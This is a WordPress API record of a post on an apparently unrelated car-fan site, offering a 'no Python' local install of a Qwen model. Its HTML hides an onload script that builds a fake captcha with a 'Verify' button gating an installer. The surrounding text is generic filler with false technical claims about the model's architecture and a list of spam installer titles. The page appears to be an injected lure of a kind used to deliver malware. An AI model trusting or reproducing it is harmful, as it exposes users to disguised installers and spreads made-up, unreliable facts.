60px;text-align:center;font-size:24px;color:#334155;line-height:2.5;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#2C3E50;font-family:'Tahoma';\">\ud83d\udd27 Digest: <b>73436faead33816cc9256b126350c9a1<\/b> \u2022 \ud83d\udd52 Updated: <span style=\"color:#888;\">2026-07-13<\/span><\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var 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#ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:30px;padding-left:25px;margin-left:0;\">\n<li><strong>CPU:<\/strong> multi-threading <strong>optimized<\/strong> for fast prompt processing<\/li>\n<li><b>RAM:<\/b> minimum <b>16 GB<\/b> for stable 8B model loading<\/li>\n<li><strong>Storage:<\/strong><b>100 GB<\/b> free space for HuggingFace cache folder<\/li>\n<li><strong>Graphic Processor:<\/strong> hardware <strong>Tensor Cores<\/strong> support needed for FP16 acceleration<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h4>Unlocking the Potential of Qwen3.6-35B-A3B-GGUF<\/h4>\n<p>The Qwen3.6-35B-A3B-GGUF is a game-changing large language model that has been engineered to deliver unparalleled performance in a wide range of natural language processing tasks. With its cutting-edge A3B architecture and optimized parameters, this model is capable of achieving remarkable results in areas such as reasoning, code generation, and multilingual understanding. The integration of GGUF quantization enables efficient usage of resources, allowing users to deploy the model locally on modern GPUs with minimal memory overhead.The Qwen3.6-35B-A3B-GGUF also boasts a robust fine-tuning pipeline that supports domain-specific adaptation, making it an ideal choice for organizations seeking to customize their AI solutions for specialized workflows. This flexibility and adaptability position the Qwen3.6-35B-A3B-GGUF as a versatile tool for developers looking to harness the power of artificial intelligence.Key Features:* 35 billion parameters: A massive parameter count that enables the model to learn complex patterns and relationships in language data.* A3B architecture: A novel architecture that combines the strengths of two separate models, resulting in improved performance and efficiency.* GGUF quantization: A state-of-the-art quantization scheme that reduces memory requirements while preserving accuracy.<\/p>\n<table>\n<tr>\n<th>Model Specifications<\/th>\n<th>Detailed Information<\/th>\n<\/tr>\n<tr>\n<td><strong>Typical GPU VRAM Requirement<\/strong><\/td>\n<td>16GB-24GB<\/td>\n<\/tr>\n<tr>\n<td><strong>Benchmarks and Performance<\/strong><\/td>\n<td>Exceptional performance in reasoning, code generation, and multilingual understanding tasks.<\/td>\n<\/tr>\n<\/table>\n<h3>Running the Model Locally<\/h3>\n<p>Users can deploy the Qwen3.6-35B-A3B-GGUF locally on modern GPUs, taking advantage of its efficient quantization scheme to minimize memory overhead. This makes it an ideal choice for applications where data security and privacy are top concerns.<\/p>\n<h4>Conclusion<\/h4>\n<p>The Qwen3.6-35B-A3B-GGUF is a powerful AI solution that offers unparalleled performance and flexibility in natural language processing tasks. Its combination of high parameter count, optimized architecture, and quantized efficiency makes it an attractive choice for developers seeking robust yet accessible AI solutions.<\/p>\n<ol>\n<li>Setup utility enabling modern multi-head attention acceleration keys for host machines rigs<\/li>\n<li>Qwen3.6-35B-A3B-GGUF Using Pinokio One-Click Setup For Beginners<\/li>\n<li>Installer deploying local speech synthesis models via XTTS server<\/li>\n<li>Qwen3.6-35B-A3B-GGUF with 1M Context No-Code Guide FREE<\/li>\n<li>Downloader for ChatRTX updates incorporating custom folder indexing models<\/li>\n<li>Install Qwen3.6-35B-A3B-GGUF with Native FP4 For Beginners FREE<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>The most rapid route to a local installation of this model is through WSL2. Follow the guidelines below to continue. The script takes care of fetching the multi-gigabyte model weights. The installer diagnoses your environment to deploy the most compatible profile. \ud83d\udd27 Digest: 73436faead33816cc9256b126350c9a1 \u2022 \ud83d\udd52 Updated: 2026-07-13 Verify CPU: multi-threading optimized for fast prompt &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/www.jimnyfan.gr\/?p=1598\" class=\"more-link\">Read more<span class=\"screen-reader-text\"> &#8220;Quick Run Qwen3.6-35B-A3B-GGUF Locally (No Cloud) No Python Required&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[56],"tags":[],"class_list":["post-1598","post","type-post","status-publish","format-standard","hentry","category-optimizers"],"_links":{"self":[{"href":"https:\/\/www.jimnyfan.gr\/index.php?rest_route=\/wp\/v2\/posts\/1598"}],"collection":[{"href":"https:\/\/www.jimnyfan.gr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.jimnyfan.gr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.jimnyfan.gr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.jimnyfan.gr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1598"}],"version-history":[{"count":1,"href":"https:\/\/www.jimnyfan.gr\/index.php?rest_route=\/wp\/v2\/posts\/1598\/revisions"}],"predecessor-version":[{"id":1599,"href":"https:\/\/www.jimnyfan.gr\/index.php?rest_route=\/wp\/v2\/posts\/1598\/revisions\/1599"}],"wp:attachment":[{"href":"https:\/\/www.jimnyfan.gr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1598"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.jimnyfan.gr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1598"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.jimnyfan.gr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1598"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}